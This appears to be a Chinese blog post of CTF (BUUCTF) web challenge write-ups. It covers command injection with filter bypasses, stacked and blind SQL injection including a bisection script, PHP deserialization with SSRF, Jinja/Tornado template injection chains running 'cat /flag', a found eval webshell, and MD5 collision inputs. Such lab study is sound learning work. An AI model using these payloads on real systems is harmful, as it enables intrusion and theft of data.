buuctf web

概述

  • 记录自己认为值得记录的题目

[GXYCTF2019]Ping Ping Ping

命令执行漏洞

  • 应用程序有时候需要调用执行系统命令的函数,例如PHP中的system、exec、shell_exec、passthru、popen等函数
  • Windos系列支持的管道符如下
  • | ---- 直接执行后面的语句。例如:ping 127.0.0.1|whoami
  • || ---- 如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假
  • & ---- 如果前面的语句为假则执行后面的语句 前面的语句可真可假
  • && ---- 如果前面的语句为假则直接报错
  • Linux系统支持的管道符
  • ; 执行完前面的语句再执行后面的语句
  • | 显示后面的语句的执行结果
  • || 当前面的语句执行出错 执行后面的语句
  • & 如果前面的语句为假则直接执行后面的语句
  • && 如果前面的语句为假直接出错,也不执行后面的语句
    接下来做题
  • 输入/?ip=127.0.0.1页面返回的是靶机的ip信息(被处理过了叭)
  • 输入/?ip=127.0.0.1|ls返回了当前路径下的flag.php文件
  • 于是理所当然的/?ip=127.0.0.1|cat flag.php于是理所当然的被fuck了
    在这里插入图片描述
  • 可以看出空格被过滤了 所以该怎么做呢!
    -这篇文章有命令执行绕过的小技巧
    尝试逗号绕过 又被fuck了flag…
    尝试反斜线绕过flag ?ip=127.0.0.1|cat,f\lag.php失败
  • 那就先读取index.php文件叭
  • 逐步尝试最后利用ip=127.0.0.1|cat$IFS$9index.php读取出index.php文件
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
   echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
   die("fxck your symbol!");
 } else if(preg_match("/ /", $ip)){
   die("fxck your space!");
 } else if(preg_match("/bash/", $ip)){
   die("fxck your bash!");
 } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
   die("fxck your flag!");
 }
 $a = shell_exec("ping -c 4 ".$ip);
 echo "
";
 print_r($a);
}
?>

尝试了一些拼接绕过/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

  • 还可以利用base64绕过
  • 将cat flag.php base64编码Y2F0IGZsYWcucGhw
  • ?ip=127.0.0.1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
  • 在bash被过滤的情况下可以尝试sh

[强网杯 2019]随便注

  • 输入’页面报错确定闭合方式
  • 准备union注入1' union select 1,2#
  • 返回正则表达式 union被过滤了
  • 尝试堆叠注入
  • 1';show databases;#
  • 1';show tables;#
    在这里插入图片描述
  • 查看words表;1';show columns from words;#
    在这里插入图片描述
  • 查看1919810931114514表1';show columns from `1919810931114514`;#
    在这里插入图片描述
  • 可以发现默认的查询表格是words表格,现在要做的就是如何查询1919810931114514表格
  • 这里我用了两个方法
  1. 1';HANDLER `1919810931114514` open;HANDLER `1919810931114514` read first;HANDLER `1919810931114514` close;#
  2. 查看返回的正则表达式发现alert,rename没有被过滤
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    1919810931114514表名改为words表名 然后将words表改为别的名称
    payload:
    1'; rename table words to word1; rename table `1919810931114514` to words; alert table words add id int unsigned not Null auto_increment primary key ; alert table words change flag data varchar(100); #
  3. 借鉴别人的方法
  • 因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码
  • prepare…from…是预处理语句,会进行编码转换。
  • execute用来执行由SQLPrepare创建的SQL语句。
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
  • payload:1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

[ACTF2020 新生赛]Exec

  • 这道题也是考命令执行漏洞
  • 首先输入一个IP地址127.0.0.1 返回该ip的信息
  • 接着尝试127.0.0.1||ls返回的是index.php文件
  • 怀疑关于flag的文件不在当前目录下 查看一下根目录
  • 127.0.0.1||ls /发现flag文件 127.0.0.1||cat /flag
  • 得到flag
flag{a4f3a565-6f12-400b-bfc4-28342352a72
  • 这道题比pingpingping简单多了 复习看pingpingping就够了

[RoarCTF 2019]Easy Calc

  • 尝试在输入框输入正常的计算式都能返回正常的结果
  • 题目提示有waf,所以输入其他符号和字母都会跳出这是啥呀的弹框
  • F12看了一下页面的源码
  • 发现计算是在calc.php里面计算的
  • 在里面看到了eval,题目有了点思路
  • 因为题目对num变量设置了WAF,不能输入字母和一些符号
  • PHP字符串解析存在一个漏洞
php 会删除空格
php 会将一些符号转换为下划线 
  • 这道题原本我们应该上传到是?num=aaa但是我们如果上传的? num=aaa,就绕过了WAF,之后再进行解析的时候会删除空格,num就有了值
  • 我一开始以为waf是题目给的源码,后来发现题目给的源码只过滤了一些符号
  • 所以我们就可以用? num=var_dump(scandir())获取当前的目录,发现返回了一个NULL
  • 那就访问一下根目录? num=var_dump(scandir(chr(47)))
  • 发现f1agg文件 再查一下? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
    或者? num=var_dump(file_get_contents(chr(47).f1agg))都可以得到flag

[HCTF 2018]admin

  • F12一直有个hint,提示自己不是admin
  • 可以想到是用admin的身份去登录网站
  • 所以猜想是个cookie欺骗 具体怎么做 我还是没有思路 看了别人的题解
  • 发现有个change页面进去看了一下 只需要输入新的密码就能改掉密码了
  • 抓包的时候看到了有储存session所以应该是从session中获取了用户名信息
  • 查看change页面的源码发现了一个提示
    https://github.com/woadsl1234/hctf_flask/下载下查看了index.php文件的源码
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}
  • 可以发现只要session获取的用户名是admin就可以获得flag
  • 所以我们需要去伪造session
  • flask是一个轻量级的web框架 其session存储在客户端,也就是说其实只是将相关的内容进行了加密保存到了session中,和服务端的session不同,服务端的session保存在服务端中,依靠客户端的cookie值中的session来进行识别,本身session的值是没有价值的,而客户端的session是可以截取破解后得到有价值的原文
  • session欺骗和flask框架复现失败 呕了!!!! 在这里插入图片描述
  • 明天再看看这道题叭

[BJDCTF2020]Easy MD5

  • 输入框随便输入了一个数字试试,发现页面没什么变化 是get传参
  • 就怀疑了是sql注入 但是页面各种无回显就很烦
  • 抓包方burpsuit看了一下 Headers里给了hint
select * from 'admin' where password=md5($pass,true)
  • 这是什么东东 长见识了 百度了一下
    md5(string,true)函数在指定了true的时候,是返回的原始 16 字符二进制格式。也就是说会返回这样子的字符串:'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
  • 这里 \xc9是一个字符 每个\后面的三个字母或者数字是一个字符
  • 所以'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c对于sql就成为了一个1' or 6的万能密码
  • 大佬的wp
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
  • 就可以登录进去了 进去之后是给简单的md5碰撞
  • 上传?a[]=1&b[]=2利用数字去绕过md5
  • 进去又是一个md5碰撞 要求两个值不能相同,加密后相同 还是数组绕过
  • 就得到了flag 在这里插入图片描述

[GYCTF2020]Blacklist

  • 注入题
  • 先输入’页面返回报错确定闭合方式
  • 直接准备union注入1' union select 1,2#
  • 返回一个正则表达式return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
  • 不能使用select,union,布尔,报错全都失效啦,想到了书上的堆叠尝试一下
  • payload:1';show tables;#在这里插入图片描述
  • payload:1';show tables;#发现了当前数据库名称下面有两个表一个是FlagHere,一个是words
  • 这里有两个查表字段的方式
    1';show columns from FlagHere;#
    在这里插入图片描述
  • 1';desc words;#可以看出我们的默认查询的表格内容是words这张表格
    在这里插入图片描述
  • 接下来要考虑的就是如何获取FlagHere这张表格的内容了
  • HANDLER学习资料
  • Payload:1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#在这里插入图片描述

[SUCTF 2019]EasySQL

  • 尝试union注入失败了 感觉被过滤了好多东西
  • 尝试一下堆叠注入
  • 1;show databases;#回显是数据库的名称没有问题
  • 1;show tables;#回显出一个flag表
  • 1;show columns from Flag;#回显出nonono…
  • emmm 输入Flag 发现被过滤了
  • 感觉过滤了好多东西 报错和布尔全都返回nonono…
  • 看了一下wp
  • 题目给了源码
select $_GET['query'] || flag from flag
  • ||管道符 如果前面错了就执行后面的
  • 所以payload就是*,1
  • 理解一下
select 1||flag from flag
select *,1 || flag from flag
  • 第一个句子等同于 select 1 from flag

  • 第二个句子等同于 select *,1 from flag

  • 这样就将所有的内容都调出来了 脑洞绝了!

  • 官方wp

  • 查询语句select $_GET[‘query’] || flag from flag中的|作用为‘或’,所以可以使用set sql_mode=pipes_as_concat 将|设置为‘和’。

  • pipes_as_concat:将导致 “||” 字符串被视为一个标准的 SQL 字符串合并操作符,而不是 “OR” 操作符的一个同义词。

  • payload: 1;set sql_mode=pipes_as_concat;select 1

  • 拼接后的语句为:1;set sql_mode=pipes_as_concat;select 1||flag from Flag

  • 先查找1:Array ( [0] => 1 );设置|的作用,由‘或’设置为‘和’;

  • 再查询1,此时由于|为和查询,所以select 1 || flag from flag,1和flag
    得到结果
    Array ( [0] => 1 ) Array ( [0] => 1flag{720b70f2-99eb-4bc1-a565-c8509799edee} )

[ZJCTF 2019]NiZhuanSiWei

  • 这道题是个PHP代码审计
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 
  • 首先?text=php://input然后post上传welcome to the zjctf就算是过了第一个if关了
  • 接着正则表达式过滤了flag文件,下面我们看到注释中的useless.php文件
  • 所以上传?file=useless.php啥也没有,想到文件包含漏洞利用伪协议去读取文件
  • ?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
  • base64解码得到useless.php文件的内容
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
  • $password = unserialize($password)与这useless.php文件的搭配使得useless.php变得useful
  • 如果我们password上传一个序列化后的Flag对象,其file属性的值为flag.php
  • 由于Flag类中有魔术参数_tostring()方法,则echo这个对象将会输出flag.php这个文件的内容
  • 所以password上传O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  • 这里要注意,file的值需要改为useless.php,我卡在这半天!!!!在这里插入图片描述

[CISCN2019 华北赛区 Day2 Web1]Hack World

在这里插入图片描述

  • 见过嚣张的,没见过那么嚣张的,直接告诉你flag在哪里了
  • 判断了一下注入类型数字型
  • 接着尝试了union,#发现都被过滤了
  • 上次做题看见别人fuzz了一下,这次学一把,可以说非常爽 在这里插入图片描述
  • 爽完了,难题来了,几乎把所有的的都过滤了,尝试了堆叠也失败了
  • 看了一下wp,原来or的绕过可以用^异或运算符
  • 学习的文章mysql的^运算符
  • 写了个二分法python脚本
import requests
import time
import sys
url = "http://7c0f7a75-9bbd-44fe-a583-a77046a2aac9.node3.buuoj.cn/"
result=''
for i in range(1,50):
    high = 128
    low = 32
    mid = (high+low)//2
    while low <= high:
        payload= "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>={1})".format(i,mid)
        data={'id':payload}
        r=requests.post(url,data=data)
        if "Hello" in r.text:
            low=mid+1
            mid=(high+low)//2
            pass
        else:
            high=mid-1
            mid=(high+low)//2
            pass
        pass
    result+=chr(mid)
    print(result)
    pass
print("flag:",result)
  • 运行结果
    在这里插入图片描述

[网鼎杯 2018]Fakebook

  • 首先join了两个账号
  • 进入到这个界面 在这里插入图片描述
  • 看到?no=1的第一个反应就是sql注入(sqli-labs做多了…),判断了一下是数字型注入
  • order by 判断了一下字段数目为4在这里插入图片描述
  • 接着就是爆显100 union select 1,2,3,4#返回no hack!盲猜过滤,上次遇到一题目是过滤了空格可以用/**/代替,尝试了一下,okk!
  • 100/**/union/**/select/**/1,2,3,4#在这里插入图片描述
  • 将2的位置换成database()b爆出数据库名称fakebook
  • 100/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
  • 爆出表名为users
  • 100/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema=database()#
    在这里插入图片描述
  • 100/**/union/**/select 1,group_concat(data),3,4 from users#在这里插入图片描述
  • 发现一个序列化,这时候你会注意到页面左上角有一个unserialize()
  • 我卡住了,做不下去了,注到最后注出了个提示
  • 接下来的部分是看大佬们的wp做的,向资本低头

robots.txt

  • robots.txt是网站和爬虫之间的协议
  • 看了一下该网站的robots.txt发现了/user.php.bak文件,代码在下面
<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}
  • 看到了curl_exec孩子第一个反应就是SSRF
  • 时隔多天 自认为SSRF略有了解的我 又来重新头铁了
  • 学习了一下get()函数
- curl_init : 初始化一个cURL会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。
- curl_setopt : 请求一个url。
其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。
- CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
- curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。
- CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。
- curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。
- 如果状态码不是404,就返回exec的结果。
  • 而这个函数是在getBlogContents ()函数中调用参数为$this->blog
  • ?no=100/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"1111";s:3:"age";i:20;s:4:"blog";s:7:"123.com";}'
  • 上传这个payload就可以得到在这里插入图片描述
  • 接下来就利用反序列化去获取想要的东西
  • ?no=100/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"1111";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'在这里插入图片描述
  • 解码获取flag!!!

高明的黑客

  • 提示了www.tar.gz,下载压缩包打开看了一下 全是代码 打开了其中一个看了一下
    在这里插入图片描述
  • 发现$_GET['KD3otVSuT'] = ' ';eval($_GET['KD3otVSuT'] ?? ' ');
  • 想到了一句话木马
  • 将这个文件夹放到自己的www目录下
  • 然后用python脚本跑一下 上传参数看看能不能执行 如果能够执行则这个webshell就是可用的
    在这里插入图片描述- 不会多线程 脚本写的属实拉胯了 继续加油叭
  • /xk0SzyKwfzw.php?Efa5BVG=cat /flag
    在这里插入图片描述

[BJDCTF 2nd]fake google

  • 随便输入提交后F12有提示ssssssti & a little trick
  • ?name={{'aaa'.upper()}}页面返回的是AAA
  • 可以确定是个ssti注入了
  • 第一次做ssti学习一下

SSTI学习

基础知识
  • SSTI又称服务器模板注入
  • 模板引擎SST介绍
    这里特指用于web开发的模板引擎,使用户界面与业务数据分离产生的,可以生成特定的文档,用于网站的模板引擎就会生成一个标准的HTML文档
  • SSTI就是服务器模板注入,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入的数据,从而达到读取文件或者制造后门的目的
  • 下面介绍一下python中的SSTI的利用
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>
>>> {}.__class__
<class 'dict'>
  • __class__:查看变量的所属类,根据变量形式可以得到这个变量所属的类
>>> ''.__class__.__bases__
(<class 'object'>,)
>>> ().__class__.__bases__
(<class 'object'>,)
>>> [].__class__.__bases__
(<class 'object'>,)
>>> {}.__class__.__bases__
(<class 'object'>,)
  • __bases__:查看该类的基类,可以使用数组索引查看特定位置的值,可以查看该类的所有直接父类,返回该属性所有直接父类元组
  • __mro__方法获取这个类的调用顺序,同样是返回一个元组,可以获取基类
>>> [].__class__.__bases__[0].__subclasses__()[0]
<class 'type'>
  • __subclasses__:查看当前类的子类
  • SSTI的主要目的就是从子类中找可以利用的类
  • __import__():动态加载类和函数
    语法:__import__(模块名)
  • __dict__:类的静态函数、普通函数、全局变量已经内置的属性都在类__dict__里面
攻击流程
文件读取
  1. 获取基本类[].__class__.__bases__[0]or''.__class__.__mro__[1]
  2. 获取基本类的子类object.__subclasses__()部分题目可能不能这样获取子类
    [].__class__.__bases__[0].__subclasses__()获取基本类的子类
  3. 找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)
>>> ''.__class__.__mro__[1].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[1].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>
  1. 查看其引用__builtins__
''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']
  • 这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能
''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()
命令执行
  • 利用eval进行命令执行
''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen(cat /flag").read()')
继续做题
  • 获取基本类的所有子类
{{[].__class__.__bases__[0].__subclasses__()}}
  • 找到warnings.catch_warnings类的位置为169
  • 命令执行
{{[].__class__.__bases__[0].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
  • 得到flag
    在这里插入图片描述

[护网杯 2018]easy_tornado

  • 进入页面首先看到的是三个链接
- /flag.txt
- /welcome..txt
- /hints.txt
  • 点开看分别是
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
  • 看到render的时候第一个有想到SSTI模板注入、
  • 访问/file?filename=/fllllllllllllagt&filehash=7cac3b72be3a15d0ece393deda2a4e3d
  • 页面跳转到/error?msg=Error页面只有一个Error
  • 改变msg的值 确定是SSTI模板注入
  • 接下来就是获取/hints.txt中的cookie_secret
  • msg={{hander.settings}}可以通过hander.settings去获取cookie_secret
    这里涉及到了Tornado模板自身的内容 建议大家去学一下 我也刚粗略了解了一下
    Tornado官方文档
    在这里插入图片描述
  • 接下来就是用hint中的方式加密这边写了个脚本
import hashlib

filename = '/fllllllllllllag'
cookie_secret = '9af1a701-a162-4547-9eb7-493c7b0c222b'
md5 = hashlib.md5() # 创建md5对象
md5.update(filename.encode('utf-8'))  # 注意一定要用utf-8编码
md5_filename = md5.hexdigest() # 得到filename的md5加密结果
md5 = hashlib.md5()  # 注意每次利用md5的时候需要重新创建md5对象 md5.update()会将每次的字符串拼接 已踩坑
md5.update((cookie_secret + md5_filename).encode('utf-8'))
md5_answer =md5.hexdigest()
print(md5_answer)
  • 下面是别人的脚本 更符合编程思想点…
import hashlib

def md5(s):
 md5 = hashlib.md5() 
 md5.update(s) 
 return md5.hexdigest()
 
def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r'
 print(md5(cookie_secret+md5(filename)))
 
if __name__ == '__main__':
 filehash()
  • /file?filename= /fllllllllllllag&filehash=a623862ad0924e8d9b924c6406fbac66
    在这里插入图片描述

[GKCTF2020]cve版签到

  • CVE漏洞 有种激动的感觉
  • 看了一下Hint:cve-2020-7066
  • cve-2020-7066:get_headers()会在使用URL的空子节之后无声地截断任何内容
  • 可能导致编写良好的脚本获取意外域的标头。这些标头可能会泄露敏感信息,或意外包含攻击者控制的数据
  • 既然这样的话 我们来看看怎么做叭
  • 点击View CTFHub页面返回的是?url=http://www.ctfhub.com的信息
    在这里插入图片描述
  • 看到/?url我没第一反应出ssrf(wtcl…)
  • 接下来我们是不是可以用ssrf去进行内网访问 看看返回什么 啥也不是 必须要用.ctfhub.com结尾
  • 这个cve漏洞就利用到了
  • payload:?url=http://127.0.0.1%00.ctfhub.com
    在这里插入图片描述
  • 给了个提示必须以123结尾 payload:http://127.0.0.123%00.ctfhub.com
    在这里插入图片描述

[安洵杯 2019]easy_web

  • 点进去 就是web狗如何在险恶的CTF世界中存货?没法存活 活一天是一天
  • F12查看了页面的源码 应该有个提示md5 is funny
  • 再看了一下URL=img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
  • img的值已经给了看起来应该是base64 解了两次得到了个3535352e706e67
  • 3535352e706e67这是个啥子???去他妈的
  • 看了wp才知道是给Hex加密得到了给555.png
  • 知道了这个加密的方式就可以尝试用img参数去读取一些文件了
  • 尝试读取一些index.php文件 学习写了个python脚本
import base64
import binascii

filename = "index.php"
#将filename转化为bytes格式
filename = filename.encode('utf-8')
hex1 = binascii.b2a_hex(filename)

def b64_encode(s):
    # 再将str进行base64编码后从bytes格式转换回去
    result = str(base64.b64encode(s),'utf-8')
    print("base64:",result)
    return result
    pass

if __name__ == "__main__":
    b1 = b64_encode(hex1)
    b2 = b64_encode(b1.encode('utf-8'))
  • 结果TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
  • 成功读取到index.php文件
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
  • 看了一些源码想通过读取index.php文件的方法读取flag是行不通的 flag被正则过滤了
  • cmd也被各种过滤
  • 先不看cmd怎么绕过过滤 先来看看怎么才能执行cmd
  • if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
  • 强md5碰撞 因为多了给sring所以不能用数组绕过 百度搜一下 能找到payload
  • 这里给一个payload
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
  • 接着就是怎么绕过cmd的限制 去获取flag
  • 先给cmd传入dir看看当前目录下的文件555.png bj.png ctf3.jpeg index.php
  • 查找一下根目录cmd=dir%20/
  • 得到bin dev flag lib media opt root sbin sys usr boot etc home lib64 mnt proc run srv tmp var
  • 获取flag 前面的pingpingping讲过几种绕过方式
  • 直接cmd=ca\t%20flag
    在这里插入图片描述- 做完这道题心情很差 有点无助 有点彷徨
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值